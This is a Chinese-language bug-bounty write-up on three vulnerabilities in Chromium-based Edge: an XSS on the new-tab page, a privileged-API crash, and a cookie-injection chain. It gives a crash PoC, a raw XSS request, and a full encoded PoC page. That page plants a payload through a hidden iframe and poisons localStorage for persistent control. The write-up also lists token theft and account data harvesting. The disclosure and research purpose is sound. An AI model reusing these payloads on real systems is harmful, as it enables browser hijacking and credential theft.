基于Chromium内核的Edge多个漏洞分析

 

0x00 前言

微软将发布基于Chromium的Edge浏览器,Chromium是Google开发的开源浏览器,目前已经有多款浏览器采用Chromium内核,比如Google Chrome浏览器,现在微软Edge也将加入这个大家族。

2019年8月20日,微软公布了针对新型Edge浏览器的漏洞奖励计划,根据该计划,只有在微软自己开发的代码中找到的bug才属于奖励范围,这意味着我们的攻击面比较小。但与此同时,官方的奖励也颇为丰盛(两倍于EdgeHTML的奖励)。也就是说,如果我们能在新型浏览器中找到一个bug,其价值最高可达30,000美元。

在本文中,我将介绍如何在该浏览器中挖到3个不同的bug,总共拿到了40,000美元奖励。此外我还是首位提交有效bug的研究人员,对此我自己也感到非常荣幸。

 

0x01 NTP XSS漏洞

在浏览器默认设置下,当用户打开浏览器或者打开新标签页时,首先会看到新选项卡页面(NTP)。新Edge浏览器的NTP页面有个独特之处:该页面实际上是一个在线网页,其url为:https://ntp.msn.com/edge/ntp?locale=en&dsp=1&sp=Bing

与此类似,Firefox中包含about:home/about:newtab页面,Google Chrome中有个离线的chrome-search://local-ntp/local-ntp.html页面。Edge的地址与这两者不同,这一点比较关键,因为根据规则要求,我们需要找到微软自己代码中存在的bug,才能拿到奖励。

发现这个bug纯属意外。当我第一次打开新Edge浏览器时,并没有太关注NTP页面。我比较关注的是Edge中(相对Chromium而言)真正独特的一些功能,比如Collections(集合)。当时该功能并不在奖励范围内,并且只能标志来启用。但我还是希望能研究一下,这样当后续纳入范围时就能派上用场。

我们可以把Collections当成更强大且功能更丰富的书签,当我们将网站加入Collections时,浏览器会提取标题、描述以及图像信息,以Twitter卡片的样式呈现给用户。因此我做了一些测试,想看一下当我保存标题中包含HTML标签的网页时,Collections是否会渲染标题中的HTML。经过测试后,我发现浏览器并不会执行该操作。

因此测试结束后,我抽空休息了一会。第二天早上醒来,当我打开新Edge浏览器继续测试时,我看到了如下NTP界面:

大家有没有注意到其中加粗的字母a

由于这是一个新的浏览器,因此我访问过的站点基本上都会变成“最常访问站点”,被加到NTP常用站点中,并且没有过滤网页标题内容。此外,我还能畅行无阻执行JavaScript代码,因此可以使用简单的XSS payload。利用过程如下图所示:

这个攻击路径比较重要,如果我们能在NTP上执行XSS攻击,能达到什么效果呢?NTP实际上是权限较高的一个页面,在基于Chromium的浏览器中,我们可以查看chrome Javascript对象来验证这一点。

我们可以比较普通网站与Edge设置页面中的chrome对象,如下图所示:

显然,在edge://settings/profiles中该对象包含更多的函数,并且这些函数都是我们比较感兴趣的高权限函数,如果可以从正常的、非特权页面来访问这些函数,有可能实现函数滥用。

到目前为止,我们已经可以在正常的网页中,将Javascript代码注入高权限上下文中,从而实现权限提升(EoP)。下面我们来继续研究如何利用这个高权限上下文环境。

 

0x02 从EoP到潜在RCE

这一次我依然比较幸运。前面提到过,我们可以在chrome Javascript对象中找到特权函数。根据这一思路,我在chrome对象中搜索能够滥用的新的对象或者函数,希望能进一步利用这个EoP bug。

我找到了一个未公开的对象:chrome.qbox,但并没有在网上找到关于该对象的任何分析,因此我推测这是微软专用的一个对象。

我还找到了一个特殊的函数:chrome.qbox.navigate,通过错误信息,我发现该函数期望接受的参数类型为qbox.NavigationItem对象。

经过多次探索后,我发现我们能将JSON对象传入该函数,只要JSON对象至少包含urlid元素即可。满足这个最低要求后,函数就不会抛出任何错误。

chrome.qbox.navigate({id:0,url:""})

目前进展不错,但还远远不够,我希望能通过这种方式弹出一些窗口,因此我不断尝试每个idurl值,最终找到了如下命令:

chrome.qbox.navigate({id:999999,url:null})

执行该命令后,Chromium版Edge浏览器窗口会消失不见。我检查了crashdump文件夹,找到了如下信息:

(69a4.723c): Access violation - code c0000005 (first/second chance not available)
ntdll!NtDelayExecution+0x14:
00007ffd`9fddc754 c3              ret

我猜测这里可能出现了NULL指针引用(意味着通常我们很难利用这种情况,但我相信凡事总有例外)。

rax=000001ff5651ba80 rbx=000001ff5651ba80 rcx=000001ff5651ba80
rdx=3265727574786574 rsi=000001ff5651ba80 rdi=0000009eb9bfd4f0
rip=00007ffd17814b40 rsp=0000009eb9bfd300 rbp=000001ff4fec30a0
 r8=000000000000008f  r9=0000000000000040 r10=0000000000000080
r11=0000009eb9bfd290 r12=000000000000006f r13=0000009eb9bfda90
r14=0000009eb9bfd478 r15=00000094b5d14064
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
msedge!ChromeMain+0x9253e:
00007ffd`17814b40 488b02          mov     rax,qword ptr [rdx] ds:32657275`74786574=????????????????
Resetting default scope

FAULTING_IP: 
msedge!ChromeMain+9253e
00007ffd`17814b40 488b02          mov     rax,qword ptr [rdx]

EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 00007ffd17814b40 (msedge!ChromeMain+0x000000000009253e)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 0000000000000000
   Parameter[1]: ffffffffffffffff
Attempt to read from address ffffffffffffffff

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ

PROCESS_NAME:  msedge.exe

根据上述信息,我们似乎找到了可利用的一个点。我在内存bug方面经验不够丰富,因此只能参考MDN文档来了解这方面内容。多次测试高权限下存在缺陷的qbox.navigate函数后,我成功复现了不同的崩溃特征,这表明我基本上能够通过web成功拿到一个可利用的崩溃点(RCE)。这已经非常接近于实战型PoC了(利用崩溃点是完全不同的另一个话题),目前我们能通过如下代码导致浏览器崩溃:

<html>
<head>
<title>test<iframe/src=1/ onload=chrome.qbox.navigate(JSON.parse(unescape("%7B%22id%22%3A999999%2C%22url%22%3Anull%7D")))></title>
<body>
q
</body>
</html>

微软确认了这个问题,并且同时确认了前面提到的XSS bug,通过这两个bug,我总共拿到了25,000美元。因此从技术上来讲,我已经在新版Edge中率先找到了2个bug!

 

0x03 控制NTP页面

根据前文描述,如果想通过web方式完成整个攻击路径,我们需要对ntp.msn.com发起XSS攻击。因此这里我们可以将ntp.msn.com当成渗透测试目标。由于该页面权限较高,因此只要找到XSS点,我们就能拿到一个浏览器bug。

如果访问https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz,我们会看到无法正确加载的一个NTP页面,这一点在漏洞利用场景中比较关键。正常的NTP页面为https://ntp.msn.com/edge/ntp?locale=en&dsp=1&sp=Bing,大多数情况下,该页面在加载时会使用到某种缓存机制。

因此我运行Burpsuite,希望能在https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz中找到一些bug。最终我发现如果设置了domainId这个cookie(这里不得不提到ParamMiner这个给力的工具),那么相应的值就会反馈到无法正确加载的NTP页面的script标签中(注意不是正常的NTP页面)。并且浏览器不会过滤我们输入的值(比如没有转义引号),因此我们可以使用这个cookie变量来注入代码。

使用cookie的优点在于,我们可以设置给定域名下所有子域名都可见的cookie。因此我只需要在任意一个MSN子域名中找到XSS点,就可以利用该域名设置cookie,然后在未正确加载的NTP页面中执行JS代码。经过一番探索后,我成功在http://technology.za.msn.com中找到了一个XSS点。由于该站点似乎是被官方遗忘的老域名,并且使用了非常古老的技术,因此现在已被官方下线。经过测试后,我发现只要我们发送精心构造的一个POST请求,该站点就会返回错误信息,其中包含导致错误的变量值,并且没有执行过滤操作。

我们可以使用如下HTTP请求触发XSS:

POST /pebble.asp?relid=172 HTTP/1.1
Host: technology.za.msn.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://technology.za.msn.com
Connection: close
Referer: http://technology.za.msn.com/pebble.asp?relid=172
Cookie: PublisherUserProfile=userprofileid=322220CC%2D9964%2D47F9%2DAE30%2D2222258E99A4; PublisherSession=uid=DIN2DWDWDFWWW7L3OHA5N6; ASPSESSIONIDSCCQSRDS=EOJQQDDFGGGEEPCPNFOBL; _ga=GA1.q.21062224016.4569609491; _gid=GA1.q.1840897607.1569609491; _gat=1; __utma=2qq77qq6.21qqqq4016.156qqqq9491.156960qqq.qqqqqq91.1; __utmb=201977236.1.10.1569609491; __utmc=201977236; __utmz=201977236.1569609491.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __gads=ID=qqqq5dd817qqqb4:T=1562229492:S=ALNI_MZUnsEhqqqqjxzklxqqqqqJHo1A
Upgrade-Insecure-Requests: 1

startnum=90'<b>xss</b>

这里唯一的缺点在于,当出现错误时,服务器大约需要42秒才能响应。虽然有点不方便,但不影响大局。当服务端响应后,我们可以找到<b>xss</b>信息,将其替换为常用的XSS payload就能执行Javascript。这里的头部中不包含X-FRAME-OPTIONS字段,因此我们可以在自己的站点中使用IFRAME来嵌入页面,通过隐藏的IFRAME发起所需的POST请求,触发XSS,这样受害者就看不到任何可疑的操作。

现在我们的攻击路径已经越来越清晰,然而前面提到过,我们一直在研究未能正确显示的NTP页面,而不是默认的(正常的)NTP页面,并且后者已被浏览器缓存。经过研究后,我发现浏览器会使用localStorage中的条目来缓存正常NTP页面。这并不一个大问题,由于未正确显示的NTP页面与正常NTP页面隶属同一个源,因此我可以访问localStorage条目,将最终的Javascript代码加入已缓存的HTML中,然后就能控制正常的NTP页面。

前面提到过,由于NTP页面权限较高,因此我们可以访问比较有趣的某些函数,从而执行各种操作。比如,我们可以通过恶意NTP页面执行如下操作:

1、诱骗用户使用微软账户登录。由于用户信任NTP页面,因此这是完美的攻击场景。

2、访问chrome.authPrivate.acquireAccessTokenSilently,可能成功获取用户访问令牌,以用户身份执行各种操作。

3、使用chrome.authPrivate.getPrimaryAccountInfo(e=>{console.dir(e)})获取用户隐私信息,比如邮箱地址以及账户等。

4、通过chrome.embeddedSearch.searchBox.paste("file:///C://")诱骗用户访问本地文件(需要诱骗用户按下回车键)。

5、使用chrome.embeddedSearch.newTabPage.updateCustomLink(i,"http://www.g.com","http://www.g.com")来编辑NTP中最常访问的站点(其中i09999,确保我们已成功编辑所有页面)。

6、使用chrome.ntpSettingsPrivate.setPref来修改用户可能设置的各种NTP选项。

7、持续跟踪并伪造MSN内容。由于我们可以利用该bug持续控制NTP页面,因此可以用来跟踪用户行为(比如检查用户打开NTP的行为,或者解析已保存的最常访问站点),也可以像许多恶意扩展一样,注入虚假的广告。

虽然上述攻击场景有些比较繁琐,但足以证明我们可以完成很多攻击目标。

来总结一下完整的攻击链:

1、用户访问我们的恶意站点;

2、恶意站点通过隐藏的IRAME,向technology.za.msn.com发起POST请求,发送我们的XSS payload;

3、大约经过42秒后,IFRAME加载完成,我们成功在technology.za.msn.com上触发XSS payload;

4、利用technology.za.msn.com上的XSS创建cookie,其中包含domain=.msn.com以及domainId,后者包含我们的第二个payload;

5、当隐藏的IFRAME触发onload时,受害者被重定向到未能正确显示的NTP页面(https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz);

6、当https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz加载完毕后,将渲染domainId cookie中包含的XSS payload;

7、XSS payload查找localStorage,将最终payload注入已缓存的HTML起始代码中。

此时我们已经成功控制了NTP页面,当用户打开新标签页时,就会持续触发最终payload。我通过新的MSRC漏洞报告网站将该bug反馈给微软,根据新Edge的奖励规则,我最终拿到了15,000美元的奖励。

 

0x04 PoC

由于存在各种字符限制,我在PoC中使用了大量编码,最终PoC如下:

<html>
<head>

<body>
<iframe src="about:blank" id="qframe" name="msn" style="opacity:0.001"></iframe>
<h1>Loading...(ETA 42secs)</h2>
<form id="qform" target="msn" action="http://technology.za.msn.com/pebble.asp?relid=172" method="post">
<!--
Encoded payload (Executes in 'technology.za.msn.com')
---------------------------------------------------------------------
(qd = new Date()).setMonth(qd.getMonth() + 12);
document.cookie = "domainId=" + 
                  ('q"*' 
                  + unescape('%71%22%2a%66%75%6e%63%74%69%6f%6e%28%29%7b%66%6f%72%28%71%20%69%6e%20%6c%6f%63%61%6c%53%74%6f%72%61%67%65%29%7b%69%66%28%71%2e%69%6e%64%65%78%4f%66%28%27%6c%61%73%74%4b%6e%6f%77%6e%27%29%3e%2d%31%29%7b%77%69%74%68%28%71%6e%74%70%6f%62%6a%3d%4a%53%4f%4e%2e%70%61%72%73%65%28%6c%6f%63%61%6c%53%74%6f%72%61%67%65%5b%71%5d%29%29%7b%71%6e%74%70%6f%62%6a%2e%64%6f%6d%3d%75%6e%65%73%63%61%70%65%28%27%25%33%63%25%35%33%25%37%36%25%34%37%25%32%66%25%34%66%25%36%65%25%34%63%25%36%66%25%34%31%25%36%34%25%33%64%25%32%37%25%36%34%25%36%66%25%36%33%25%37%35%25%36%64%25%36%35%25%36%65%25%37%34%25%32%65%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%32%38%25%32%66%25%34%30%25%37%31%25%36%31%25%36%32%25%32%66%25%32%65%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%32%39%25%32%37%25%33%65%27%29%2b%71%6e%74%70%6f%62%6a%2e%64%6f%6d%7d%77%69%74%68%28%71%61%62%3d%71%6e%74%70%6f%62%6a%29%7b%6c%6f%63%61%6c%53%74%6f%72%61%67%65%5b%71%5d%3d%4a%53%4f%4e%2e%73%74%72%69%6e%67%69%66%79%28%71%61%62%29%7d%7d%7d%7d%28%29%2a%22%71') 
                  + '*"q') 
                  + ";expires=" 
                  + qd 
                  + ";domain=.msn.com;path=/";
---------------------------------------------------------------------
unescaped value above (Executes in broken 'ntp.msn.com'), this is all one line and im using with(){} a lot because semicolon not allowed.
---------------------------------------------------------------------
function() {
        for (q in localStorage) {
        if (q.indexOf('lastKnown') > -1) {
            with(qntpobj = JSON.parse(localStorage[q])) {
                qntpobj.dom = unescape('%3c%53%76%47%2f%4f%6e%4c%6f%41%64%3d%27%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%2f%40%71%61%62%2f%2e%73%6f%75%72%63%65%29%27%3e') + qntpobj.dom
            }
            with(qab = qntpobj) {
                localStorage[q] = JSON.stringify(qab)
            }
        }
    }

}()
---------------------------------------------------------------------
unescaped value above (Executes in normal 'ntp.msn.com')
---------------------------------------------------------------------
<SvG/OnLoAd='document.write(/@qab/.source)'>
-->
  <input  type="hidden" name="startnum" value="90'<SvG/onLoAd=eval(unescape('%28%71%64%3d%20%6e%65%77%20%44%61%74%65%28%29%29%2e%73%65%74%4d%6f%6e%74%68%28%71%64%2e%67%65%74%4d%6f%6e%74%68%28%29%20%2b%20%31%32%29%3b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3d%22%64%6f%6d%61%69%6e%49%64%3d%22%2b%28%75%6e%65%73%63%61%70%65%28%27%25%37%31%25%32%32%25%32%61%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%38%25%32%39%25%37%62%25%36%36%25%36%66%25%37%32%25%32%38%25%37%31%25%32%30%25%36%39%25%36%65%25%32%30%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%35%33%25%37%34%25%36%66%25%37%32%25%36%31%25%36%37%25%36%35%25%32%39%25%37%62%25%36%39%25%36%36%25%32%38%25%37%31%25%32%65%25%36%39%25%36%65%25%36%34%25%36%35%25%37%38%25%34%66%25%36%36%25%32%38%25%32%37%25%36%63%25%36%31%25%37%33%25%37%34%25%34%62%25%36%65%25%36%66%25%37%37%25%36%65%25%32%37%25%32%39%25%33%65%25%32%64%25%33%31%25%32%39%25%37%62%25%37%37%25%36%39%25%37%34%25%36%38%25%32%38%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%33%64%25%34%61%25%35%33%25%34%66%25%34%65%25%32%65%25%37%30%25%36%31%25%37%32%25%37%33%25%36%35%25%32%38%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%35%33%25%37%34%25%36%66%25%37%32%25%36%31%25%36%37%25%36%35%25%35%62%25%37%31%25%35%64%25%32%39%25%32%39%25%37%62%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%32%65%25%36%34%25%36%66%25%36%64%25%33%64%25%37%35%25%36%65%25%36%35%25%37%33%25%36%33%25%36%31%25%37%30%25%36%35%25%32%38%25%32%37%25%32%35%25%33%33%25%36%33%25%32%35%25%33%35%25%33%33%25%32%35%25%33%37%25%33%36%25%32%35%25%33%34%25%33%37%25%32%35%25%33%32%25%36%36%25%32%35%25%33%34%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%34%25%36%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%34%25%33%31%25%32%35%25%33%36%25%33%34%25%32%35%25%33%33%25%36%34%25%32%35%25%33%32%25%33%37%25%32%35%25%33%36%25%33%34%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%34%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%36%35%25%32%35%25%33%37%25%33%37%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%37%25%33%34%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%38%25%32%35%25%33%32%25%36%36%25%32%35%25%33%34%25%33%30%25%32%35%25%33%37%25%33%31%25%32%35%25%33%36%25%33%31%25%32%35%25%33%36%25%33%32%25%32%35%25%33%32%25%36%36%25%32%35%25%33%32%25%36%35%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%37%25%33%35%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%33%37%25%32%35%25%33%33%25%36%35%25%32%37%25%32%39%25%32%62%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%32%65%25%36%34%25%36%66%25%36%64%25%37%64%25%37%37%25%36%39%25%37%34%25%36%38%25%32%38%25%37%31%25%36%31%25%36%32%25%33%64%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%32%39%25%37%62%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%35%33%25%37%34%25%36%66%25%37%32%25%36%31%25%36%37%25%36%35%25%35%62%25%37%31%25%35%64%25%33%64%25%34%61%25%35%33%25%34%66%25%34%65%25%32%65%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%36%39%25%36%36%25%37%39%25%32%38%25%37%31%25%36%31%25%36%32%25%32%39%25%37%64%25%37%64%25%37%64%25%37%64%25%32%38%25%32%39%25%32%61%25%32%32%25%37%31%27%29%29%2b%22%3b%65%78%70%69%72%65%73%3d%22%2b%71%64%2b%22%3b%64%6f%6d%61%69%6e%3d%2e%6d%73%6e%2e%63%6f%6d%3b%70%61%74%68%3d%2f%22%3b'))">

</form>
<script>
qframe.onload=e=>{
 setTimeout(function(){
 location="https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz";
 },1000)
}

qform.submit();
</script>
</body>
</html>

完整攻击过程如下(我剪掉了中间的42秒等待时间):

 

0x05 参考资料

https://twitter.com/spoofyroot/status/1171654526648094720

(完)